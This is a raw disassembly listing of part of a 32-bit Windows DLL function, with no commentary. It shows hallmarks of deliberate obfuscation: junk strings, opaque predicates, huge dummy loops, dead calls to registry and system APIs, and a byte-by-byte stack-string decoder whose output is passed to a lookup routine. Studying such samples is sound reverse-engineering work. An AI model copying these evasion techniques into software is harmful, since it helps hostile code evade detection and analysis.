mov dword [ebp - 0x548], str.fyarzoqr_xafz_mtyujoy_fslzx_obcwqkcb_sqpkiyf_ysdce_domoi_jherbgy_cewdjtyno
cmp dword [ebp - 0x370], 0x4702
jle 0x10039695
and dword [ebp - 0x21c], 0
jmp 0x1003960b
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x10d4
jge 0x10039695
and dword [ebp - 0x18c], 0
jmp 0x1003962d
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x5ddf
jge 0x10039690
mov eax, dword [ebp - 0x21c]
xor eax, dword [ebp - 0x18c]
cdq
mov dword [ebp - 0x5ac], eax
mov dword [ebp - 0x5a8], edx
push dword [ebp - 0x5a8]
push dword [ebp - 0x5ac]
lea ecx, [ebp - 0x920]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x6dc], eax
mov ecx, dword [ebp - 0x6dc]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x920]
call fcn.100037e3
jmp 0x10039620
jmp 0x100395fe
movzx eax, byte [ebp - 0x79]
test eax, eax
je 0x100396aa
push 0
push 0xbe1
call dword [sym.imp.USER32.dll_ClientToScreen]
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x370], 0x4598
jge 0x100396c6
push dword [ebp - 0x548]
call fcn.10048785
pop ecx
jmp 0x100396e2
mov dword [ebp - 4], 0x10
jmp 0x100396f2
mov eax, dword [ebp - 0x4dc]
cmp eax, dword [ebp - 0x4dc]
jle 0x10039715
cmp dword [ebp - 0xcc], 0
je 0x10039715
mov dword [ebp - 0x438], 1
jmp 0x1003971c
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x28c]
imul eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x28c]
jge 0x10039743
cmp dword [ebp - 0x28c], 0
je 0x10039743
mov dword [ebp - 0x378], 1
jmp 0x1003974a
and dword [ebp - 0x378], 0
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x378]
mov dword [ebp - 0xf8], eax
je 0x10039779
push 0
lea ecx, [ebp - 0xd8]
call fcn.100039fd
cmp dword [eax], 0
je 0x10039779
mov dword [ebp - 0x380], 1
jmp 0x10039780
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x438]
cmp eax, dword [ebp - 0x380]
jne 0x1003979a
mov dword [ebp - 0x498], 1
jmp 0x100397a1
and dword [ebp - 0x498], 0
push 1
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov ecx, dword [ebp - 0x498]
cmp ecx, dword [eax]
jne 0x100397c4
mov dword [ebp - 0x388], 1
jmp 0x100397cb
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x388], eax
jl 0x100397e8
cmp dword [ebp - 0x28c], 0
jne 0x100397e8
and dword [ebp - 0x440], 0
jmp 0x100397f2
mov dword [ebp - 0x440], 1
push 0
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov ecx, dword [ebp - 0x440]
mov dword [eax], ecx
jmp 0x10039878
mov dword [ebp - 0x34], 0
jmp 0x10039819
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jg 0x10039878
mov dword [ebp - 0xcc], 0
jmp 0x10039838
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 2
jg 0x10039876
push dword [ebp - 0x34]
lea ecx, [ebp - 0xd8]
call fcn.100039fd
push dword [ebp - 0xcc]
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov esi, eax
push dword [ebp - 0x34]
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1003982b
jmp 0x10039812
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x10039894
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd8]
call fcn.100039e1
cmp dword [0x1007d094], 0
jne 0x1003b76a
mov dword [ebp - 0x640], 0x37db
lea eax, [ebp - 0x640]
push eax
call fcn.10031ef3
pop ecx
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x2c], 0xfffffffa
push 3
lea ecx, [ebp - 0x720]
call fcn.10003984
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x224], 4
mov dword [ebp - 0x3a8], 7
mov dword [ebp - 0x4e0], 0x7b30477a
mov dword [ebp - 0x4d8], 0x72010435
mov dword [ebp - 0x6a4], 0x7221ebc5
mov dword [ebp - 0x194], 0
jmp 0x10039933
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 3
jge 0x10039955
push dword [ebp - 0x194]
lea ecx, [ebp - 0x720]
call fcn.100039fd
mov dword [eax], 0x29b85755
jmp 0x10039926
cmp dword [ebp - 0x2c], 0
jne 0x10039b18
cmp dword [ebp - 0x2c], 0x9bdd7770
ja 0x10039974
mov dword [ebp - 0x390], 1
jmp 0x1003997b
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x390], eax
je 0x10039992
mov dword [ebp - 0x4e4], 1
jmp 0x10039999
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x4e4]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x398], eax
push 0
lea ecx, [ebp - 0x720]
call fcn.100039fd
mov ecx, dword [ebp - 0x398]
mov dword [eax], ecx
cmp dword [ebp - 0x398], 5
jne 0x100399d2
mov dword [ebp - 0x550], 1
jmp 0x100399d9
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x78c], eax
mov eax, 0x18e9934b
cmp eax, 0x77dcda72
je 0x100399fa
mov dword [ebp - 0x448], 1
jmp 0x10039a01
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x224]
cmp dword [ebp - 0x448], eax
jne 0x10039a1b
mov dword [ebp - 0x3a0], 1
jmp 0x10039a22
and dword [ebp - 0x3a0], 0
cmp dword [ebp - 0x3a0], 0x18c8
jle 0x10039a3a
mov dword [ebp - 0x4a0], 1
jmp 0x10039a41
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x3a8], eax
mov eax, dword [ebp - 0x3a8]
cmp eax, dword [ebp - 0x2c]
jg 0x10039a64
mov dword [ebp - 0x450], 1
jmp 0x10039a6b
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x450]
add eax, 0x511e
je 0x10039a8a
cmp dword [ebp - 0x2c], 0
je 0x10039a8a
mov dword [ebp - 0x3b0], 1
jmp 0x10039a91
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x3b0]
sub eax, dword [ebp - 0x224]
mov dword [ebp - 0x4e0], eax
mov eax, dword [ebp - 0x4e0]
cmp eax, dword [ebp - 0x2c]
jg 0x10039aba
mov dword [ebp - 0x3b8], 1
jmp 0x10039ac1
and dword [ebp - 0x3b8], 0
cmp dword [ebp - 0x3b8], 0
jg 0x10039ad6
mov dword [ebp - 0x458], 1
jmp 0x10039add
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x458]
jge 0x10039af4
mov dword [ebp - 0x3c0], 1
jmp 0x10039afb
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x3c0]
test eax, eax
je 0x10039b0f
cmp dword [ebp - 0x2c], 0
jne 0x10039b18
and dword [ebp - 0x4a8], 0
jmp 0x10039b22
mov dword [ebp - 0x4a8], 1
mov eax, dword [ebp - 0x224]
cmp dword [ebp - 0x4a8], eax
jne 0x10039b3c
mov dword [ebp - 0x3c8], 1
jmp 0x10039b43
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x3c8], eax
jl 0x10039b5a
mov dword [ebp - 0x2b8], 1
jmp 0x10039b61
and dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x224]
cmp dword [ebp - 0x2b8], eax
jg 0x10039b7b
mov dword [ebp - 0x3d0], 1
jmp 0x10039b82
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x6a4], eax
mov byte [ebp - 0x69], 0
movzx eax, byte [ebp - 0x69]
test eax, eax
je 0x10039bac
call dword [sym.imp.KERNEL32.dll_GetVersion]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x720]
call fcn.100039e1
mov dword [ebp - 0xa8], 0xca4f833f
mov dword [ebp - 0x3d8], 0x942a1e94
mov dword [ebp - 0x19c], 0
jmp 0x10039be8
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 3
jge 0x10039c04
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x848], 0xfffffff8
jmp 0x10039bdb
mov dword [ebp - 0xa8], 2
jmp 0x10039c1d
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jl 0x10039c32
mov dword [ebp - 0x3d8], 0
jmp 0x10039c10
mov dword [ebp - 0xa8], 0
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x3d8], eax
mov byte [ebp - 0x13c], 7
mov byte [ebp - 0x13b], 0x54
mov byte [ebp - 0x13a], 9
mov byte [ebp - 0x139], 7
mov byte [ebp - 0x138], 0
mov byte [ebp - 0x137], 0x29
mov byte [ebp - 0x136], 0xa
mov byte [ebp - 0x135], 2
mov byte [ebp - 0x134], 2
mov byte [ebp - 0x133], 0x31
mov byte [ebp - 0x132], 0xb
mov byte [ebp - 0x131], 0xc
mov byte [ebp - 0x130], 1
mov byte [ebp - 0x12f], 0x1d
mov byte [ebp - 0x12e], 6
mov byte [ebp - 0x12d], 0x16
mov byte [ebp - 0x12c], 3
mov byte [ebp - 0x12b], 0x30
mov byte [ebp - 0x12a], 0x80
mov byte [ebp - 0x129], 0xf6
mov byte [ebp - 0x128], 0xc
mov byte [ebp - 0x127], 0x24
mov byte [ebp - 0x126], 5
mov byte [ebp - 0x125], 0x25
mov byte [ebp - 0x124], 8
mov byte [ebp - 0x123], 0x1d
mov byte [ebp - 0x122], 3
mov byte [ebp - 0x121], 0x39
mov byte [ebp - 0x120], 4
mov byte [ebp - 0x11f], 0x33
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x13c]
and eax, 0x3d
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x13c]
or ecx, 0x3d
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x13c]
mov byte [ebp + eax - 0x6f4], cl
mov dword [ebp - 0x28], 2
and dword [ebp - 0x1ac], 0
jmp 0x10039d6b
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1e
jae 0x10039f6a
mov dword [ebp - 0x2bc], 0x5176
mov dword [ebp - 0x64c], str.jpangrrmx_hzusifmml_dwynsrpsw_ypevx_qookhk_gkzj_fozdlcdbc
cmp dword [ebp - 0x2bc], 0x54df
jle 0x10039e76
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
and dword [ebp - 0x22c], 0
jmp 0x10039db5
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x3a68
jge 0x10039e76
and dword [ebp - 0x26c], 0
jmp 0x10039ddb
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x6972
jge 0x10039e71
and dword [ebp - 0x1a4], 0
jmp 0x10039e01
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x2b09
jge 0x10039e6c
mov ecx, dword [ebp - 0x26c]
sub ecx, dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x22c]
shl eax, cl
cdq
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], edx
push dword [ebp - 0x5b4]
push dword [ebp - 0x5b8]
lea ecx, [ebp - 0x8c0]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x558], eax
mov ecx, dword [ebp - 0x558]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x8c0]
call fcn.100037e3
jmp 0x10039df4
jmp 0x10039dce
jmp 0x10039da8
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x13c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x10039eb9
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x13c]
inc eax
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x13c]
mov ecx, dword [ebp - 0x28]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x28], eax
jmp 0x10039d63
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x2bc], 0x5003
jge 0x10039ed8
push dword [ebp - 0x64c]
call fcn.10048785
pop ecx
jmp 0x10039ef4
or dword [ebp - 4], 0xffffffff
jmp 0x10039efe
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x1ac]
movzx eax, byte [ebp + eax - 0x13e]
movsx eax, byte [ebp + eax - 0x6f4]
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x13b]
and ecx, eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x1ac]
movzx eax, byte [ebp + eax - 0x13e]
movsx eax, byte [ebp + eax - 0x6f4]
mov edx, dword [ebp - 0x28]
movzx edx, byte [ebp + edx - 0x13b]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x13c]
mov byte [ebp + eax - 0x6f4], dl
and dword [ebp - 0x1ac], 0
jmp 0x10039d63
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x6f4], 0
lea eax, [ebp - 0x6f4]
push eax
lea ecx, [ebp - 0x980]
call fcn.1003fc89
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 4], 0x16
mov edx, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0x6c8]
call fcn.1002c38c
mov dword [0x1007d094], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x980]
call fcn.100146d1
mov dword [ebp - 0x2c4], 0x3d76
mov dword [ebp - 0x568], str.bnzakkae_esdhwm_qdnnco_ytvjc_hxxuho_iiyzyagkq_xwzgqqgui_pnepotewq_qwsfotdmc_ylsstvtco
cmp dword [ebp - 0x2c4], 0x3e76
jle 0x1003a0c9
and dword [ebp - 0x234], 0
jmp 0x1003a002
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x4b6f
jge 0x1003a0c9
and dword [ebp - 0x1bc], 0
jmp 0x1003a028
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x24a8
jge 0x1003a0c4
and dword [ebp - 0x284], 0
jmp 0x1003a04e
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0x63dc
jge 0x1003a0bf
and dword [ebp - 0x1b4], 0
jmp 0x1003a070
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x6a17
jge 0x1003a0bd
mov ecx, dword [ebp - 0x284]
imul ecx, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x234]
imul eax, dword [ebp - 0x1bc]
sar eax, cl
cdq
mov dword [ebp - 0x5c4], eax
mov dword [ebp - 0x5c0], edx
push dword [ebp - 0x5c0]
push dword [ebp - 0x5c4]
mov ecx, 0x1007bad8
call fcn.1000380d
jmp 0x1003a063
jmp 0x1003a041
jmp 0x1003a01b
jmp 0x10039ff5
push 1
lea ecx, [ebp - 0x708]
call fcn.10003984
mov dword [ebp - 4], 0x17
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x2c4], 0x3b9a
jge 0x1003a0fd
mov edx, dword [ebp - 0x568]
mov ecx, 0x1007bad8
call fcn.10005a21
jmp 0x1003a119
mov dword [ebp - 4], 0x17
jmp 0x1003a129
mov dword [ebp - 0x1c4], 0x81c2900
mov dword [ebp - 0x274], 0
jmp 0x1003a14c
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 1
jge 0x1003a16e
push dword [ebp - 0x274]
lea ecx, [ebp - 0x708]
call fcn.100039fd
mov dword [eax], 0x1713b910
jmp 0x1003a13f
mov dword [ebp - 0x1c4], 0
jmp 0x1003a187
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jg 0x1003a1ec
mov dword [ebp - 0xdc], 0xfffffff9
mov dword [ebp - 0xdc], 0
jmp 0x1003a1b3
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
jg 0x1003a1ea
push dword [ebp - 0xdc]
lea ecx, [ebp - 0x708]
call fcn.100039fd
cmp dword [eax], 0
je 0x1003a1d4
jmp 0x1003a1ea
push 0
lea ecx, [ebp - 0x708]
call fcn.100039fd
cmp dword [eax], 0
je 0x1003a1e8
jmp 0x1003a1a6
jmp 0x1003a1a6
jmp 0x1003a17a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x708]
call fcn.100039e1
and dword [ebp - 0x23c], 0
jmp 0x1003a211
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xe
jae 0x1003a22a
mov eax, dword [ebp - 0x23c]
mov byte [ebp + eax - 0x6f4], 0
jmp 0x1003a204
mov dword [ebp - 0x14], 0x9714a025
push 3
lea ecx, [ebp - 0x5c]
call fcn.10003984
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x2a0], 0xfffffffd
mov dword [ebp - 0x1cc], 0
jmp 0x1003a265
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 3
jge 0x1003a284
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov dword [eax], 0x51ad386c
jmp 0x1003a258
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], 0
jmp 0x1003a29a
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x1003a6f1
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
cmp dword [eax], 0x4431
jge 0x1003a2d9
mov dword [ebp - 0x2cc], 1
jmp 0x1003a2e0
and dword [ebp - 0x2cc], 0
cmp dword [ebp - 0x2cc], 1
jg 0x1003a2f5
mov dword [ebp - 0x2d4], 1
jmp 0x1003a2fc
and dword [ebp - 0x2d4], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov esi, dword [ebp - 0x2d4]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x5c]
call fcn.100039fd
cmp dword [eax], esi
jge 0x1003a32a
mov dword [ebp - 0x2dc], 1
jmp 0x1003a331
and dword [ebp - 0x2dc], 0
cmp dword [ebp - 0x2dc], 0xa7b445ac
jbe 0x1003a346
mov eax, 0x80ee
test eax, eax
je 0x1003a358
mov eax, 0x9e88
test eax, eax
je 0x1003a358
and dword [ebp - 0x2e4], 0
jmp 0x1003a362
mov dword [ebp - 0x2e4], 1
cmp dword [ebp - 0x2e4], 0xffffffff
je 0x1003a377
mov dword [ebp - 0x2ec], 1
jmp 0x1003a37e
and dword [ebp - 0x2ec], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov ecx, dword [ebp - 0x2ec]
cmp ecx, dword [eax]
jle 0x1003a3a5
cmp dword [ebp - 0x14], 0
je 0x1003a3a5
mov dword [ebp - 0x2f4], 1
jmp 0x1003a3ac
and dword [ebp - 0x2f4], 0
push 2
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov ecx, dword [ebp - 0x2f4]
cmp ecx, dword [eax]
jge 0x1003a6e1
mov dword [ebp - 0x48], 0x7d7c869b
mov dword [ebp - 0x580], 0
mov dword [ebp - 0x48], 2
jmp 0x1003a3e5
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x1003a6df
mov byte [ebp - 0x81], 0
movzx eax, byte [ebp - 0x81]
test eax, eax
je 0x1003a40e
push 0
push 0x44e
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x7d4], eax
mov esi, dword [ebp - 0x48]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
cmp esi, dword [eax]
jg 0x1003a435
mov dword [ebp - 0x2fc], 1
jmp 0x1003a43c
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0x2fc], eax
jle 0x1003a456
mov dword [ebp - 0x304], 1
jmp 0x1003a45d
and dword [ebp - 0x304], 0
cmp dword [ebp - 0x304], 0
je 0x1003a482
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
cmp dword [eax], 0
je 0x1003a482
mov dword [ebp - 0x30c], 1
jmp 0x1003a489
and dword [ebp - 0x30c], 0
cmp dword [ebp - 0x30c], 0xa832
jg 0x1003a4a1
mov dword [ebp - 0x314], 1
jmp 0x1003a4a8
and dword [ebp - 0x314], 0
cmp dword [ebp - 0x314], 0x9e864adb
jb 0x1003a4c0
mov dword [ebp - 0x31c], 1
jmp 0x1003a4c7
and dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0x31c], eax
jle 0x1003a4e1
mov dword [ebp - 0x324], 1
jmp 0x1003a4e8
and dword [ebp - 0x324], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov ecx, dword [ebp - 0x324]
cmp ecx, dword [eax]
jl 0x1003a509
mov dword [ebp - 0x32c], 1
jmp 0x1003a510
and dword [ebp - 0x32c], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov ecx, dword [ebp - 0x32c]
cmp ecx, dword [eax]
jl 0x1003a537
cmp dword [ebp - 0x48], 0
je 0x1003a537
mov dword [ebp - 0x334], 1
jmp 0x1003a53e
and dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x334], eax
jl 0x1003a555
mov dword [ebp - 0x654], 1
jmp 0x1003a55c
and dword [ebp - 0x654], 0
push 2
lea ecx, [ebp - 0x5c]
call fcn.100039fd
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
cmp dword [eax], 0
je 0x1003a59a
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
cmp dword [eax], 0
je 0x1003a59a
and dword [ebp - 0x574], 0
jmp 0x1003a5a4
mov dword [ebp - 0x574], 1
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
cmp dword [eax], 0xeca51c18
jae 0x1003a5ce
mov dword [ebp - 0x33c], 1
jmp 0x1003a5d5
and dword [ebp - 0x33c], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov ecx, dword [ebp - 0x33c]
cmp ecx, dword [eax]
jge 0x1003a5f6
mov dword [ebp - 0x6b4], 1
jmp 0x1003a5fd
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x794], eax
mov esi, dword [ebp - 0x580]
mov edi, dword [ebp - 0x14]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
add edi, dword [eax]
cmp edi, esi
jne 0x1003a62c
mov dword [ebp - 0x344], 1
jmp 0x1003a633
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x344], eax
jge 0x1003a64a
mov dword [ebp - 0x65c], 1
jmp 0x1003a651
and dword [ebp - 0x65c], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov esi, dword [ebp - 0x14]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
cmp dword [eax], esi
jne 0x1003a685
mov dword [ebp - 0x58c], 1
jmp 0x1003a68c
and dword [ebp - 0x58c], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov esi, dword [ebp - 0x48]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
cmp esi, dword [eax]
je 0x1003a6c0
mov dword [ebp - 0x34c], 1
jmp 0x1003a6c7
and dword [ebp - 0x34c], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c]
call fcn.100039fd
mov ecx, dword [ebp - 0x34c]
mov dword [eax], ecx
jmp 0x1003a3de
jmp 0x1003a6ec
cmp dword [ebp - 0x2a0], 0
je 0x1003a6ec
jmp 0x1003a6f1
jmp 0x1003a293
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.100039e1
mov dword [ebp - 0x30], 0x10c93b4e
mov dword [ebp - 0x30], 0
jmp 0x1003a714
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x1003aa42
push 2
lea ecx, [ebp - 0x508]
call fcn.10003984
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x598], 0x58edfe01
mov dword [ebp - 0x294], 0
jmp 0x1003a755
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 2
jge 0x1003a777
push dword [ebp - 0x294]
lea ecx, [ebp - 0x508]
call fcn.100039fd
mov dword [eax], 0xfffffffe
jmp 0x1003a748
push 1
lea ecx, [ebp - 0x508]
call fcn.100039fd
and dword [eax], 0
jmp 0x1003a7ad
push 1
lea ecx, [ebp - 0x508]
call fcn.100039fd
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x354]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x354]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x508]
call fcn.100039fd
cmp dword [eax], 8
je 0x1003aa2e
mov dword [ebp - 0x35c], 0xa7a8
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x7c0], eax
push 9
pop eax
imul eax, eax, 0x7adf
imul ecx, dword [ebp - 0x30], 0x149c
sub ecx, eax
je 0x1003aa14
mov dword [ebp - 0x384], 0xfffc
mov dword [ebp - 0x374], 1
mov dword [ebp - 0x664], 0xfffffffb
mov dword [ebp - 0x39c], 0x66c1
mov dword [ebp - 0x5a4], str.aol_ajntkq_lalgvzopn_sgpjc
cmp dword [ebp - 0x39c], 0x66ef
jle 0x1003a8d8
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
and dword [ebp - 0x1d4], 0
jmp 0x1003a84e
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0xe83
jge 0x1003a8d8
and dword [ebp - 0x244], 0
jmp 0x1003a870
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x2ac2
jge 0x1003a8d3
mov eax, dword [ebp - 0x1d4]
and eax, dword [ebp - 0x244]
cdq
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], edx
push dword [ebp - 0x5cc]
push dword [ebp - 0x5d0]
lea ecx, [ebp - 0x8f0]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x6d0], eax
mov ecx, dword [ebp - 0x6d0]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x8f0]
call fcn.100037e3
jmp 0x1003a863
jmp 0x1003a841
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x35c], 1
jl 0x1003a8fb
or eax, 0xffffffff
jne 0x1003a8fb
and dword [ebp - 0x364], 0
jmp 0x1003a905
mov dword [ebp - 0x364], 1
mov eax, dword [ebp - 0x35c]
cmp eax, dword [ebp - 0x364]
jl 0x1003a91f
mov dword [ebp - 0x36c], 1
jmp 0x1003a926
and dword [ebp - 0x36c], 0
